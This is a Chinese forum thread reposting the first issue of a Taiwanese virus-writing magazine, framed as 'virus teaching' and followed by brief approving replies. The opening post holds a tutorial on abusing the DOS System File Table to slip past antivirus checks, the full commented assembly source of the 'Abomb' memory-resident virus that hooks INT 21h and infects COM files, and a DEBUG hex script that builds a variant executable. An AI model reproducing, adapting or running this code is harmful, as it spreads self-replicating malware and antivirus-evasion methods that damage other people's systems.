24小时热门版块排行榜    

查看: 636  |  回复: 8
当前主题已经存档。
当前只显示满足指定条件的回帖,点击这里查看本话题的所有回帖

w_benz

至尊木虫 (著名写手)

[交流] 病毒教学

台湾病毒组织TPVO 病毒教学

guojpeng?

病毒教学(一)

编者的话:
台湾病毒界要变天了!我们终于成立了台湾第一个病毒组织─
TPVO。本组织由于最近才刚刚成立,百废俱举,尚未给病毒作者一
个良好的环境,但是本人相信日后TPVO必定会给国内各地病毒作者
广大的沟通管道,不但让大家研究病毒的写作技巧,也吸收世界各
地的病毒数据,更可以和世界各大病毒组织联络、研究。

本期病毒杂志由于初刊没有华丽动人的画面,但是内容不会滥
竽充数的,所以请各位读者放心。

注:本文章有使用中国海字形,若发现文章有怪怪的内码,可以安装本
文章附加的中国海字集。 (将CS-ET.ARJ 的数据解在ET的目录中,
再执行CS-ET.BAT即可。)

TPVO-001.000 ......... 杂志目录说明文件
TPVO-001.001 ......... 系统档案表格(SFT) by Dark Slayer
TPVO-001.002 ......... 反追踪之技巧 by Zhuge Jin
TPVO-001.003 ......... 金蝉 V.S ZLOCK (附:ZOPEN.ASM) by Zhuge Jin
TPVO-001.004 ......... 最小的档案型病毒-Cute by Dark Slayer
TPVO-001.005 ......... 台湾第一只伴随型病毒(解析) by Dark Slayer
TPVO-001.006 ......... 伴随型病毒-Terra'X by Zhuge Jin
TPVO-001.007 ......... 一只开机型病毒-NOVA by Zhuge Jin
TPVO-001.008 ......... 我的「第一次」- Abomb by Poison Maker
TPVO-001.009 ......... 变体引擎写作指南 by Zhuge Jin
CS-ET.ARJ ......... 中国海字集 (特别服务没有中国海的读者)


最后,TPVO每一位成员感谢您的赞赏,观看了本期杂志。希望台湾病
毒界以后能走向更开放、自由的境界,为国人拓展一个公开的病毒讨论环
境。并希望大家在阅读本杂志之后,都有所领悟!(啊~多么痛的领悟~)

一、将资料存盘。(只有这些而已喔!) ───────┐
二、使用DEBUG < FileName.xxx(文件名称) │
三、即可产生一个执行档案。 │

N DS_ABOMB.COM ←┤
E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21 │
. │
. │
. │
RCX │
02DD │
W │
Q ←┘

◎系统档案表格(SFT) ◎
by Dark Slayer of TPVO

==========================================================================
帅吧?!利用DOS 未公开的功能int 2Fh 来取得SFT ,事实上int 2Fh 有许多好用
的功能,以后会介绍的。

取得SFT 之后要干嘛? 嘿嘿嘿... 取得它之后,许多酷的技巧都可以靠它展现
啰,接下来完全要看各人的想象力与创意啰... 我指出几点可以利用到SFT 的地方
,其它更深入的应用以后再讲,或是你自己可以先试试看,发挥您求知的精神吧!

DOS 4.0-6.2 的 SFT 格式 (取自 INTRLIST,由我翻译)
偏移 大小 描述
00h WORD 参考至此档案的 handle 个数
02h WORD 开文件模式 (参考 AH=3Dh,int 21h)
如果此檔是利用FCB 来开档则 bit 15=1
我用3D00h 开档,再将此处改为 2,如此可以用读写模式来存取此文件,这样可
以骗过那些烂AV,因为AV以为用3D00h 开档就不可能被写入了,所以可能会不防这
招...

04h BYTE 档案属性 (参考 AH=43h,int 21h)

用3D02h 开档之前要先用4300h 得到档案属性,再用4301h 更改档案属性为非隐藏
、可擦写吗?不用啦!!呵呵... 我们只要用3D00h 开档 (如上面所讲) 再保存此
处之值,然后将它设为0,一样有相同的功能喔!

05h WORD 装置信息 (参考 AX=4400h,int 21h)
bit 15=1 表是此档为远方 (在网络上)
bit 14=1 在关档时不要设定档案的日期及时间
bit 7 1: 设备 device,0: 档案
bit 6 =1 档案尚未被写入
bits 5~0 当 bit 7=1 时磁盘驱动器编号 (0=A:,1=B: ...)
bit 7=0 时为装置信息

在写入一个档案之前要先保存它的时间和日期吗?不必啰... 感染完之后,在关档
之前将bit 14设为1 ,则关档后一样不会改变到时间和日期。

07h DWORD 如果是字符装置,则此为指向装置驱动程序表头之指针
否则,此为指向DOS 磁盘参数区块 (DPB) 之指标
(参考 AH=32h,int 21h)

Assassin病毒怎么得,要感染的档案后面剩余的cluster 有多少呢?当然是先得知
此磁盘的一个cluster 有几个扇区(sector),再拿档案长度来算即可得知如何取得
这些资料呢?当然是从DPB 啰...

0Bh WORD 档案的启始丛集 (cluster)
0Dh WORD 档案时间 (参考 AH=57h,int 21h)
0Fh WORD 档案日期 (参考 AH=57h,int 21h)

不须用AH=57h一样可以得到档案时间与日期

11h DWORD 档案大小

不须用AX=4202h,CX=DX=0,int 21h 一样可以得到档案大小

15h DWORD 档案读写指标 (参考 AH=42h,int 21h)

直接更改这边的值和用AH=42h int 21h效果是一样的

19h WORD 最后一次存取的 cluster 之相对 cluster 编号
1Bh DWORD 此档案目录进入点的扇区编号 (可用直接用 int 25h/26h 读写)
1Fh BYTE 一个扇区中,可容纳的目录个数
20h 11 BYTEs FCB 格式的文件名 (无路径,无句点 '.',剩下的空间以
空白 space (ASCII code 20h) 补足
2Bh DWORD (SHARE.EXE) 指向前一个 SFT 共享相同档案之指标
============================================================================

ABOMB SEGMENT ; Writton By Poison Maker of TPVO
ASSUME CS:ABOMB,DS:ABOMB
ORG 0h
START:
CALL $+3 ; 得到病毒程序开头的区段位置
POP SI
SUB SI,3

MOV DI,100h ; 将DI设为100h,并且堆栈起来
PUSH DI

MOV AH,99h ; 判断INT 21h是否已经拦下来了
INT 21h
CMP AH,66h
JNZ INSTALL

ADD SI,OFFSET FILE_DATA ; 将原来的程序开头恢复
MOV CX,5 ; 并且返回执行
REP MOVSB
XOR SI,SI
XOR DI,DI
XOR CX,CX
XOR BX,BX
XOR AX,AX
RET

INSTALL:
MOV AH,52h ; 得到内存控制区段的起启位置
INT 21h
MOV BX,WORD PTR ES:[BX-2]

LOOP_1:
MOV ES,BX ; 记录内存控制区段的最后位置
ADD BX,ES:[3] ;
INC BX ; 4Dh代表下面还有内存区段
CMP BYTE PTR ES:[0],5Ah ; 5Ah代表已经是最后一个
JNZ LOOP_1
MOV AX,ES
MOV ES,BX
CMP BYTE PTR ES:[0],4Dh
JZ LOOP_2
MOV ES,AX
JMP OVER
LOOP_2:
MOV ES,BX
ADD BX,WORD PTR ES:[3]
INC BX
CMP BYTE PTR ES:[0],4Dh
JZ LOOP_2

OVER:
MOV BX,ES:[3] ; 将最后一个区段的内存剩余的长度
MOV AX,OFFSET POISON_END+0Fh ; 减少病毒程序的长度(单位16Bytes)
MOV CL,4 ; 并且将病毒本身复制一份到那里。
SHR AX,CL
SUB BX,AX
MOV ES:[3],BX
MOV AX,ES
ADD BX,AX
XOR DI,DI
MOV ES,BX
MOV CX,OFFSET POISON_END
REP MOVSB

PUSH ES
POP DS

MOV AX,3521h ; 拦下INT 21h
INT 21h
MOV WORD PTR DS:OLD21_I,BX
MOV WORD PTR DS:OLD21_C,ES
MOV AH,25h
MOV DX,OFFSET INT21
INT 21h

PUSH CS ; 恢复DS,ES,并且返回主程序
PUSH CS
POP DS
POP ES
OVER1:
RET

INT21: ; 拦到的INT 21h起启位置
CMP AH,99h
JNZ I1 ; 判断AH是否为99h
MOV AH,66h ; 是则将AH改为66h
IRET ; 并且返回原程序

I1:
CMP AH,3Dh ; 判断是否使用AH,3Dh功能
JNZ I2
JMP AH_3D

I2:
CMP AH,3Eh ; 判断是否使用AH,3Eh功能
JNZ I3
JMP AH_3E
I3:
CMP AX,4B00h ; 判断是否使用AX,4B00h功能
JNZ EXIT_21
JMP AX_4B00

EXIT_21:
DB 0EAh
OLD21_I DW ? ; 真正的INT 21h的位置
OLD21_C DW ?

AX_4B00: ;拦AX,4B00h的执行档案功能
PUSH AX ; 堆栈 AX,BX,CX,DX,ES,DS
PUSH BX
PUSH CX
PUSH DX
PUSH ES
PUSH DS

PUSH DX ;将档案属性保存
PUSH DS
MOV AX,4300h
CALL I21
PUSH CX

MOV AX,3D02h ;开档
CALL I21
JB FILE_OVER

XCHG BX,AX

PUSH CS ;将DS设为现在(CS)的位置
POP DS

MOV AH,3Fh ;读取档案开头的5 Bytes
MOV CX,5
MOV DX,OFFSET DS:FILE_DATA
CALL I21

MOV AX,WORD PTR DS:FILE_DATA ;判断是否为EXE 檔
ADD AL,AH ;已经感染的档案
CMP AL,'M'+'Z' ;是则跳到关文件的位置
JZ FILE_END
CMP WORD PTR DS:FILE_DATA[3],'MP'
JZ FILE_END

MOV AX,5700h ; 将原来的时间保存
CALL I21
PUSH CX
PUSH DX

MOV AX,4202h ; 将读写指标设为档案后面
XOR CX,CX
XOR DX,DX
CALL I21

SUB AX,3 ; 将档案长度减3(即是JMP xxxx
MOV WORD PTR DS:START_DATA[1],AX ; 的位置)保存。

MOV AH,40h ;写入病毒程序
MOV CX,OFFSET POISON_END
CALL I21

MOV AX,4200h ; 将读写指标设为档案开头
XOR CX,CX
XOR DX,DX
CALL I21

MOV AH,40h ; 写入资料(JMP xxxx PM)
MOV CL,5 ; ^^^^^^^^^ ^^^
MOV DX,OFFSET DS:START_DATA ; 跳到病毒开始 档案标记
CALL I21

POP DX ; 恢复原来的写档日期
POP CX
MOV AX,5701h
CALL I21

FILE_END:
MOV AH,3Eh ; 关闭档案
CALL I21
FILE_OVER:
POP CX ;将档案属性恢复
POP DS
POP DX
MOV AX,4301h
CALL I21

POP DS ;取回原来的 DS,ES,DX,CX,BX,AX
POP ES
POP DX
POP CX
POP BX
POP AX

JMP EXIT_21 ;执行真正的INT 21h

AH_3D: ;开文件功能
PUSH BX ; 保存BX

MOV BX,DX ; 寻找文件名称是否有.COM
MOV BYTE PTR CS:MARK,0 ; 如果有.COM时 MARK = 1
DEC BX
SCAN_NAME:
INC BX
CMP BYTE PTR DS:[BX],0h
JNZ SCAN_NAME

SUB BX,2
CMP WORD PTR DS:[BX],'MO'
JNZ RUN_3D
SUB BX,2
CMP WORD PTR DS:[BX],'C.'
JNZ RUN_3D
MOV BYTE PTR CS:MARK,1
RUN_3D:
POP BX ; 恢复BX

MOV AX,3D02h ; 开档
CALL I21

JNC RUN3D_1 ;判断开档是否有错误
JMP EXIT_3D
RUN3D_1:
PUSHF
PUSH BX

CMP BYTE PTR CS:MARK,1 ;判断MARK=1
JZ RUN3D_2
JMP EXIT_MARK
RUN3D_2:
XOR BX,BX ; 将档案代号存入
DEC BX
F_N:
INC BX
CMP WORD PTR CS:F_NUMBER[BX],0
JZ F_N1
CMP BX,5
JNZ F_N
JMP EXIT_MARK
F_N1:
MOV WORD PTR CS:F_NUMBER[BX],AX

PUSH AX ; 保存AX,CX,DX,DS,ES
PUSH CX
PUSH DX
PUSH DS
PUSH ES

XCHG BX,AX

MOV AX,5700h ; 保存写档日期
CALL I21
PUSH CX
PUSH DX

PUSH CS ; 将DS设为现在的区段(CS)
POP DS

MOV AH,3Fh ; 读取档头的5 Bytes
MOV CX,5
MOV DX,OFFSET FILE_DATA
CALL I21

CMP WORD PTR DS:FILE_DATA[3],'MP' ;判断是否有档案标记
JNZ OVER_SCAN

; 如果有标记,则将档案恢复原来的程序内容

MOV AX,WORD PTR DS:FILE_DATA[1] ; 读取档案的长度,并且堆栈
ADD AX,3
PUSH AX

MOV AX,4202h ; 将读写指标设到档案最后的5 Bytes
MOV CX,0FFFFh
MOV DH,0FFh
MOV DL,11111011b
CALL I21

MOV AH,3Fh ; 读取出来
MOV CX,5
MOV DX,OFFSET FILE_DATA
CALL I21

MOV AX,4200h ; 将读写指标设到档头
XOR CX,CX
XOR DX,DX
CALL I21

MOV AH,40h ; 将原程序的数据写入
MOV CX,5
MOV DX,OFFSET FILE_DATA
CALL I21

MOV AX,4200h ; 将读写指针设为原程序的最后
XOR CX,CX
POP DX
CALL I21

MOV AH,40h ; 写入0 Byte
XOR CX,CX
CALL I21
OVER_SCAN:
MOV AX,4200h ; 将读写指标恢复到开头
XOR CX,CX
XOR DX,DX
CALL I21

POP DX ; 恢复原来的写档日期
POP CX
MOV AX,5701h
CALL I21

POP ES ; 恢复原来的ES,DS,DX,CX,AX
POP DS
POP DX
POP CX
POP AX
EXIT_MARK:
POP BX
POPF
EXIT_3D:
RETF 2 ; 返回原来呼叫INT 21h的位置


AH_3E: ; 关文件的功能
PUSH BX ;保存BX,DX
PUSH DX

XCHG DX,BX ;判断所关文件的档案代号是否已标记
XOR BX,BX
DEC BX
L_NUMBER:
INC BX
CMP CS:F_NUMBER[BX],DX
JZ COM_FILE
CMP BX,5
JNZ L_NUMBER
POP DX
POP BX
MOV AH,3Eh
JMP EXIT_21

COM_file:
MOV CS:F_NUMBER[BX],0 ; 将标记的档案代号消除

POP DX ; 恢复DX,BX
POP BX

PUSH DS ; 保存 DS

PUSH BX ; 保存 BX

MOV AH,45h ; 复制一个档案代号
CALL I21

PUSH AX ; 将旧的档案代号关闭
POP BX
MOV AH,3Eh
CALL I21
POP BX

PUSH CS ; 将DS设为CS
POP DS

MOV AX,5700h ; 保存原来的写档日期
CALL I21
PUSH CX
PUSH DX

MOV AX,4200h ; 将读写指标设为档头
XOR CX,CX
XOR DX,DX
CALL I21

MOV AH,3Fh ;读取档案的 5 Bytes
MOV CX,5
MOV DX,OFFSET FILE_DATA
CALL I21

CMP WORD PTR DS:FILE_DATA,'MP' ; 判断是否档案已标记
JZ EXIT_3E

MOV AX,4202h ; 将读写指标设为档尾
XOR CX,CX
XOR DX,DX
CALL I21

SUB AX,3 ;保存(JMP xxxx)病毒开头的长度
MOV WORD PTR DS:START_DATA[1],AX

MOV AH,40h ; 将病毒程序写入文件尾
MOV CX,OFFSET POISON_END
XOR DX,DX
CALL I21

MOV AX,4200h ; 将读写指标设为档头
XOR CX,CX
XOR DX,DX
CALL I21

MOV AH,40h ; 写入 ( JMP xxxx PM)的资料
MOV CX,5
MOV DX,OFFSET START_DATA
CALL I21

POP DX ; 恢复原来的写档日期
POP CX
MOV AX,5701h
CALL I21
EXIT_3E:
MOV AH,3Eh ; 关档和恢复 DS
POP DS
JMP EXIT_21



I21 PROC NEAR ; 此为 呼叫真正的INT 21h的子程序
PUSHF
CALL DWORD PTR CS:EXIT_21
RET
I21 ENDP


F_NUMBER DW 5 DUP(?) ; 储存档案代号
MARK DB 0 ; 标记是否COM文件
START_DATA DB 0E9h,?,?,'P','M' ; 档案开的数据
FILE_DATA DB 0CDh,20h,?,?,? ; 原程序的数据

POISON_END:
ABOMB ENDS
END START

==========================================================================


================== Dark Slayer 改版的Abomb Virus =========================

N DS_ABOMB.COM
E0100 E8 00 00 5E 83 EE 03 BF 00 01 57 B8 99 4B CD 21
E0110 FC 3D 66 4B 75 14 81 C6 D8 02 B9 05 00 F3 A4 33
E0120 F6 33 FF 33 C9 33 DB 33 C0 C3 B4 52 CD 21 26 8E
E0130 47 FE 26 A0 00 00 3C 4D 74 04 3C 5A 75 0D 8C C3
E0140 26 A1 03 00 03 C3 40 8E C0 EB E7 8E C3 B8 EC 02
E0150 B1 04 D3 E8 26 29 06 03 00 26 03 1E 03 00 43 33
E0160 FF 8E C3 B9 DD 02 F3 A4 06 1F B4 52 CD 21 B8 80
E0170 FC 26 8E 06 96 00 33 FF 47 4F AF 75 FC 26 80 3D
E0180 33 74 06 26 80 3D 51 75 F0 B9 25 00 8B DF 4F AF
E0190 E0 FC E3 04 8B DF EB F6 83 C3 03 89 1E 22 01 8C
E01A0 06 24 01 8C 06 C7 02 8C 06 CC 02 26 8A 07 A2 CE
E01B0 02 26 8B 47 01 A3 CF 02 26 8B 47 03 A3 D1 02 8B
E01C0 FB B0 EA AA B8 FC 00 AB 8C D8 AB B8 FC 0A 4F AF
E01D0 75 FC 26 81 3D E4 74 75 F5 83 C7 03 89 3E C5 02
E01E0 26 8A 45 FF 98 03 C7 A3 CA 02 83 EF 05 B0 EA AA
E01F0 B8 AB 02 AB 8C D8 AB 0E 0E 1F 07 C3 FC 3D 99 4B
E0200 75 04 B8 66 4B CF 80 FC 3D 75 03 E8 2E 00 80 FC
E0210 3E 75 03 E8 B7 00 3D 00 4B 75 03 E8 08 00 E8 71
E0220 01 EA 00 00 00 00 50 53 B8 00 3D E8 5B 01 72 09
E0230 93 E8 99 00 B4 3E E8 50 01 5B 58 C3 50 53 51 52
E0240 1E 06 57 B8 00 3D E8 40 01 72 7A 93 0E 1F B4 3F
E0250 B9 05 00 BA D8 02 E8 30 01 81 3E DB 02 50 4D 75
E0260 5F 53 B8 20 12 CD 2F 26 8A 1D B8 16 12 CD 2F 5B
E0270 26 C6 45 02 02 26 FF 75 03 26 C6 45 04 00 26 8B
E0280 45 11 2D 05 00 26 89 45 15 B4 3F B9 05 00 BA D8
E0290 02 E8 F5 00 26 C7 45 15 00 00 B4 40 B9 05 00 BA
E02A0 D8 02 E8 E4 00 26 8B 45 11 2D DD 02 26 89 45 15
E02B0 B4 40 33 C9 E8 D2 00 26 8F 45 03 26 80 4D 06 40
E02C0 B4 3E E8 C4 00 5F 07 1F 5A 59 5B 58 C3 50 53 51
E02D0 52 1E 06 57 0E 1F 53 B4 45 E8 AD 00 93 B4 3E E8
E02E0 A7 00 5B 53 B8 20 12 CD 2F 26 8A 1D B8 16 12 CD
E02F0 2F 5B 33 C9 26 81 7D 28 43 4F 75 05 26 80 7D 2A
E0300 4D 75 04 26 39 4D 13 75 14 26 8B 45 11 3D 05 00
E0310 72 6F 3D 00 F8 77 6A 26 8A 45 04 A8 04 75 62 50
E0320 26 88 4D 04 26 C6 45 02 02 26 8B 45 11 2D 03 00
E0330 A3 D4 02 26 89 4D 15 26 89 4D 17 B4 3F B1 05 BA
E0340 D8 02 E8 44 00 81 3E DB 02 50 4D 74 2F A1 D8 02
E0350 02 C4 3C A7 74 26 33 C9 26 89 4D 15 B4 40 B1 05
E0360 BA D3 02 E8 23 00 26 8B 45 11 26 89 45 15 B4 40
E0370 B9 DD 02 99 E8 12 00 26 80 4D 06 40 58 26 88 45
E0380 04 5F 07 1F 5A 59 5B 58 C3 E8 06 00 9C 0E E8 90
E0390 FE C3 51 1E 06 56 57 0E 1F BE CE 02 C4 3E 22 01
E03A0 B9 05 00 F3 A4 5F 5E 07 1F 59 C3 50 06 57 2E C4
E03B0 3E 22 01 B0 EA AA B8 FC 00 AB 8C C8 AB 5F 07 58
E03C0 0A E4 74 05 EA 00 00 00 00 EA 00 00 00 00 00 00
E03D0 00 00 00 E9 00 00 50 4D CD 20 00 00 00
RCX
02DD
W
Q(待续)

书在我的共享邮箱里:
w_benz@56.com
要是好大家就赏两个金币啊,急用,谢谢!!!!
回复此楼

» 猜你喜欢

对酒当歌,人生几何?
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

zhanglei02

木虫 (小有名气)

1

我喜欢看讲病毒的东西。
不错呀。
3楼2006-05-03 07:44:04
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖
查看全部 9 个回答

w_benz

至尊木虫 (著名写手)

看贴不回贴,BS!!
对酒当歌,人生几何?
2楼2006-05-03 00:21:16
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

自在飞花

至尊木虫 (著名写手)

0.5

看起来挺有趣的说
[i]一花一世界,一叶一如来[/i]
5楼2006-05-04 16:29:19
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖

gph-rabbit

金虫 (小有名气)

我喜欢看讲病毒的东西。谢谢
9楼2006-11-07 10:00:49
已阅   回复此楼   关注TA 给TA发消息 送TA红花 TA的回帖
普通表情 高级回复 (可上传附件)
信息提示
请填处理意见